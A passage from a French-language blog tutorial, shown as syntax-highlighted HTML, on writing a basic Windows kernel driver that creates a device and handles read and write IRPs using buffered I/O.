&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PIRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;VOID&lt;/span&gt;
&lt;span class="n"&gt;STDCALL&lt;/span&gt;
&lt;span class="n"&gt;DriverUnload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDRIVER_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;DriverUnload() !&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IoDeleteDevice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mydevice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// destruction du device sinon on est bon pour rebooter&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;
&lt;span class="n"&gt;STDCALL&lt;/span&gt;
&lt;span class="n"&gt;DriverEntry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDRIVER_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PUNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ntStatus&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;driverName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Device&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;T4pZ&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;symlinkName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;DosDevices&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;T4pZ&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unicodeDriverName&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unicodeSymlink&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;DriverEntry() !&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;DriverUnload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverUnload&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeDriverName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;driverName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeSymlink&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;symlinkName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ntStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoCreateDevice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeDriverName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;FILE_DEVICE_UNKNOWN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mydevice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mydevice&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DO_BUFFERED_IO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NT_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ntStatus&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;IoCreateSymbolicLink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeSymlink&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeDriverName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Gestion des IRP&lt;/h2&gt;
&lt;p&gt;Une fois notre device créé et un handle ouvert par un programme userland quelconque, notre driver se fait bombarder d'IRPs qu'il ne sait pas traiter. Pour simplifier les choses, on ne traitera ici que les requêtes envoyées par ReadFile et WriteFile, et faire en sorte qu'un appel de WriteFile sur le handle de notre device affiche ce qui a été écrit avec DbgPrint, et qu'un appel à ReadFile renvoie "Salut les tapz !" (l'exemple est inutile, mais assez instructif).&lt;/p&gt;
&lt;p&gt;Avant de passer du côté codingz de la Force, il faut savoir qu'il existe 3 modes différents de lecture/écriture des données passées dans un IRP,définis par le champs Flags de la structure PDEVICE_OBJECT (expliqués en mieux &lt;a href="http://support.microsoft.com/kb/115758"&gt;ici&lt;/a&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Le Direct Mode:&lt;/strong&gt; dans ce mode, le kernel remplit la structure MdlAddress, qui est un pointeur vers une structure qui décrit le tampon de donnée (et il faudra utiliser les fonctions commençant Mm pour y accéder)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Le "Buffered I/O":&lt;/strong&gt; ici le buffer est stocké dans le champ AssociatedIrp.SystemBuffer de la structure IRP, ce buffer étant une "copie" faite par le kernel du tampon fourni par l'utilisateur.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Le Neither Mode:&lt;/strong&gt; ce mode donne un accès direct au tampon utilisateur, via le champ UserBuffer de la structure IRP.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Comme vous l'avez remarqué, j'ai utilisé le mode Buffered I/O dans le code, le direct mode étant assez "fastidieux" à utiliser. Grâce à ces précieuses informations, on va enfin pouvoir implémenter l'IRP associé à WriteFile (le plus facile), dont le doux nom est IRP_MJ_WRITE. Voici donc le code de notre handler de IRP_MJ_WRITE:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;
&lt;span class="n"&gt;STDCALL&lt;/span&gt;
&lt;span class="n"&gt;WriteFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDEVICE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PIRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Write Function called&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AssociatedIrp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SystemBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Got data from SystemBuffer: %s &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AssociatedIrp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SystemBuffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//on rattrape l&amp;#39;erreur pour pas se prendre un BSOD dans la face&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;OMGWTFBBQ is that shit ?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Cependant, le kernel n'est pas au courant de l'existence de cette fonction, et il faut donc lui déclarer son existence grâce à la ligne &lt;code&gt;DriverObject-&amp;gt;MajorFunction[IRP_MJ_WRITE] = WriteFunction;&lt;/code&gt; dans notre fonction DriverEntry. Ainsi, un appel à WriteFile provoquera l'affichage de ce qui a été écrit dans DebugView.&lt;/p&gt;
&lt;p&gt;Pour l'IRP Read, c'est un peu plus compliqué, puisque le buffer fourni par le programme userland a une taille fixée, et il se peut que les données à envoyer soient trop grosses pour le pauvre buffer. Pour la fonction de lecture, il faut donc récupérer la taille du buffer, s'assurer que les données à envoyer ne dépassent pas et indiquer le nombre d'octets écrits une fois la transmission terminée. Pour obtenir ces informations, il nous faut obtenir la structure IO_STACK_LOCATION, ce qui est possible grâce à la fonction IoGetCurrentIrpStackLocation. Je vous laisse lire la &lt;a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff549327%28v=vs.85%29.aspx"&gt;documentation&lt;/a&gt; de IRP_MJ_READ, pour comprendre le fonctionnement du code (qui devrait être assez simple à comprendre).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;ReadFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDEVICE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PIRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;PIO_STACK_LOCATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IrpSp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetCurrentIrpStackLocation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Read Function called&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Asking reading %d bytes&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IrpSp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AssociatedIrp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SystemBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Sending &lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;Salut les t4pz !&lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s"&gt; to reader&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Salut les t4pz !&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mini&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IrpSp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 17 = strlen(data)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AssociatedIrp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SystemBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mini&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IoStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IoStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Information&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mini&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//on rattrape l&amp;#39;erreur pour pas se prendre un BSOD dans la face&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;OMGWTFBBQ is that shit ?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;, et on enregistre notre ReadFunction comme ci-dessus.&lt;/p&gt;
&lt;p&gt;Le code au complet nous donne finalement ceci:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;ntddk.h&amp;gt;&lt;/span&gt;

&lt;span class="n"&gt;PDEVICE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mydevice&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;
&lt;span class="n"&gt;STDCALL&lt;/span&gt;
&lt;span class="n"&gt;DriverDispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDEVICE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PIRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;
&lt;span class="n"&gt;STDCALL&lt;/span&gt;
&lt;span class="n"&gt;ReadFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDEVICE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PIRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
